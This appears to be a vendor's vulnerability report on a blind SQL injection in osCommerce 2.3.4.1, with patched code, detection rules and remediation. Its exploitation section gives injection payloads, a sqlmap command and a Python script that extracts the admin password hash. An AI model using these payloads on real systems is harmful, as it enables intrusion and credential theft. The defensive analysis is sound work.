CVE-2019-25497
Executive Summary
CVE-2019-25497 is a critical SQL injection vulnerability in osCommerce 2.3.4.1, an open-source e-commerce platform. The flaw resides in the shopping_cart.php script, where the currency GET parameter is not properly sanitized before being used in a database query. An unauthenticated attacker can inject arbitrary SQL code via boolean-based blind SQL injection techniques, leading to the extraction of sensitive data such as user credentials, order details, and configuration secrets. The vulnerability has a CVSS base score of 7.5 (High) due to network exploitability, low attack complexity, and high confidentiality impact. No official patch has been released by the vendor, and the project appears unmaintained. This report provides a comprehensive technical analysis, detection rules, exploitation guidance, and remediation steps.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) – Full database read access.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. The vulnerability is trivial to exploit, has public proof-of-concept code, and affects a widely deployed e-commerce platform. Unpatched instances are at immediate risk of data breach.
Deep Dive & Mechanics
The vulnerability exists in the shopping_cart.php file of osCommerce 2.3.4.1. The application uses the currency GET parameter to set the user's preferred currency. This parameter is passed directly into a SQL query without proper sanitization or parameterization.
Vulnerable Code Path:
In includes/application_top.php, the currency is set via:
if (isset($_GET['currency']) && tep_not_null($_GET['currency'])) {
if (!isset($_SESSION['currency']) || isset($_GET['currency'])) {
$_SESSION['currency'] = $_GET['currency'];
}
}
Later, in shopping_cart.php, the session currency is used in a query like:
$currency_query = tep_db_query("select currencies_id, code, title, symbol_left, symbol_right, decimal_point, thousands_point, decimal_places, value from " . TABLE_CURRENCIES . " where code = '" . $_SESSION['currency'] . "'");
The $_SESSION['currency'] value is directly concatenated into the SQL string without escaping, allowing an attacker to inject arbitrary SQL.
Exploitation Technique:
The attacker sends a GET request to shopping_cart.php with a malicious currency parameter. Since the application uses boolean-based blind SQL injection, the attacker can infer data by observing differences in response content or timing. For example:
GET /shopping_cart.php?currency=USD' OR (SELECT 1 FROM users WHERE username='admin' AND password LIKE 'a%')=1-- -
If the condition is true, the page may return normally; if false, an error or empty result may occur.
Impact:
- Extraction of admin credentials (hashed passwords).
- Retrieval of customer PII (names, addresses, emails).
- Access to order data and payment information.
- Potential privilege escalation if combined with other vulnerabilities.
Vulnerable vs. Patched Code
Vulnerable Code (osCommerce 2.3.4.1):
// includes/application_top.php (line ~320)
if (isset($_GET['currency']) && tep_not_null($_GET['currency'])) {
if (!isset($_SESSION['currency']) || isset($_GET['currency'])) {
$_SESSION['currency'] = $_GET['currency'];
}
}
// shopping_cart.php (line ~15)
$currency_query = tep_db_query("select currencies_id, code, title, symbol_left, symbol_right, decimal_point, thousands_point, decimal_places, value from " . TABLE_CURRENCIES . " where code = '" . $_SESSION['currency'] . "'");
Patched Code (Recommended Fix):
// includes/application_top.php
if (isset($_GET['currency']) && tep_not_null($_GET['currency'])) {
$currency = tep_db_prepare_input($_GET['currency']);
// Validate against allowed currencies
$currency_check = tep_db_query("select code from " . TABLE_CURRENCIES . " where code = '" . tep_db_input($currency) . "'");
if (tep_db_num_rows($currency_check) > 0) {
$_SESSION['currency'] = $currency;
}
}
// shopping_cart.php
$currency_query = tep_db_query("select currencies_id, code, title, symbol_left, symbol_right, decimal_point, thousands_point, decimal_places, value from " . TABLE_CURRENCIES . " where code = '" . tep_db_input($_SESSION['currency']) . "'");
The fix uses tep_db_input() to escape the input and validates the currency against a whitelist of existing currencies.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running osCommerce 2.3.4.1.
- Network access to the web server.
Step-by-Step Exploitation:
Identify Vulnerability: Send a request with a boolean condition:
GET /shopping_cart.php?currency=USD' AND 1=1-- -If the page loads normally, the injection point is confirmed.
Extract Database Version:
GET /shopping_cart.php?currency=USD' AND SUBSTRING(@@version,1,1)=5-- -Use boolean responses to determine the version.
Extract Admin Credentials:
GET /shopping_cart.php?currency=USD' AND (SELECT SUBSTRING(password,1,1) FROM administrators LIMIT 1)='a'-- -Iterate through characters to extract the full hash.
Automated Exploitation with sqlmap:
sqlmap -u "http://target.com/shopping_cart.php?currency=USD" --batch --dbs --threads=10
Proof-of-Concept Python Script:
import requests
target = "http://target.com/shopping_cart.php"
cookies = {"osCsid": "your_session_id"}
# Boolean-based extraction of admin password hash
def extract_char(position):
for char in "abcdef0123456789":
payload = f"USD' AND SUBSTRING((SELECT password FROM administrators LIMIT 1),{position},1)='{char}'-- -"
r = requests.get(target, params={"currency": payload}, cookies=cookies)
if "Your shopping cart is empty" in r.text: # Adjust based on response
return char
return None
password = ""
for i in range(1, 33): # MD5 hash length
c = extract_char(i)
if c:
password += c
else:
break
print(f"Admin password hash: {password}")
Blue Team (Detection & Defense)
Detection:
- Monitor for abnormal
currencyparameter values containing SQL keywords (e.g.,',--,AND,OR,UNION). - Alert on repeated requests to
shopping_cart.phpwith varyingcurrencyvalues. - Use WAF rules to block SQL injection patterns.
Defense:
- Apply input validation and parameterized queries.
- Restrict database user permissions to read-only where possible.
- Implement rate limiting on
shopping_cart.php. - Upgrade to a maintained fork or apply the patch manually.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/shopping_cart.phpwithcurrencyparameter containing SQL metacharacters. - Repeated requests with incremental character testing (e.g.,
currency=USD' AND SUBSTRING(...)=...). - Unusual response sizes or error messages from
shopping_cart.php.
File IOCs:
- Modified
includes/application_top.phporshopping_cart.php(if attacker patches). - Presence of webshells in the web root (e.g.,
cmd.php,shell.php).
Log IOCs:
- Web server logs showing
shopping_cart.php?currency=USD'entries. - Database logs showing failed queries with injected SQL.
Detection Engineering
YARA Rule
rule CVE_2019_25497_SQLi_osCommerce {
meta:
description = "Detects SQL injection attempts targeting osCommerce currency parameter"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2019-25497"
strings:
$sqli1 = /currency=[A-Za-z]*'(\s|%20)(AND|OR|UNION|SELECT|--)/ nocase
$sqli2 = /currency=[A-Za-z]*'(\s|%20)AND(\s|%20)1=1/ nocase
$sqli3 = /currency=[A-Za-z]*'(\s|%20)OR(\s|%20)'1'='1/ nocase
condition:
any of them
}
Sigma Rule
title: SQL Injection Attempt on osCommerce Currency Parameter
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting the currency parameter in osCommerce shopping_cart.php
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "currency="
- "'"
- "AND"
- "OR"
- "UNION"
- "SELECT"
- "--"
condition: selection
falsepositives:
- Legitimate currency codes with special characters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2019-25497 osCommerce SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/shopping_cart.php"; http_uri; content:"currency="; http_uri; pcre:"/currency=[A-Za-z]*'(\s|%20)(AND|OR|UNION|SELECT|--)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply Input Validation: Modify
includes/application_top.phpto validate thecurrencyparameter against a whitelist of allowed currency codes. - Use Parameterized Queries: Replace direct string concatenation with prepared statements or use
tep_db_input()for escaping. - Upgrade: Migrate to a maintained fork of osCommerce (e.g., osCommerce CE Phoenix) or a modern e-commerce platform.
Long-Term Fix:
- Replace all database queries with parameterized statements (PDO or MySQLi prepared statements).
- Implement a Web Application Firewall (WAF) with SQL injection rules.
- Conduct regular security audits and penetration testing.
Vendor Status: The osCommerce project has not released a patch. Users must apply the manual fix or migrate to an alternative platform.
Valters IT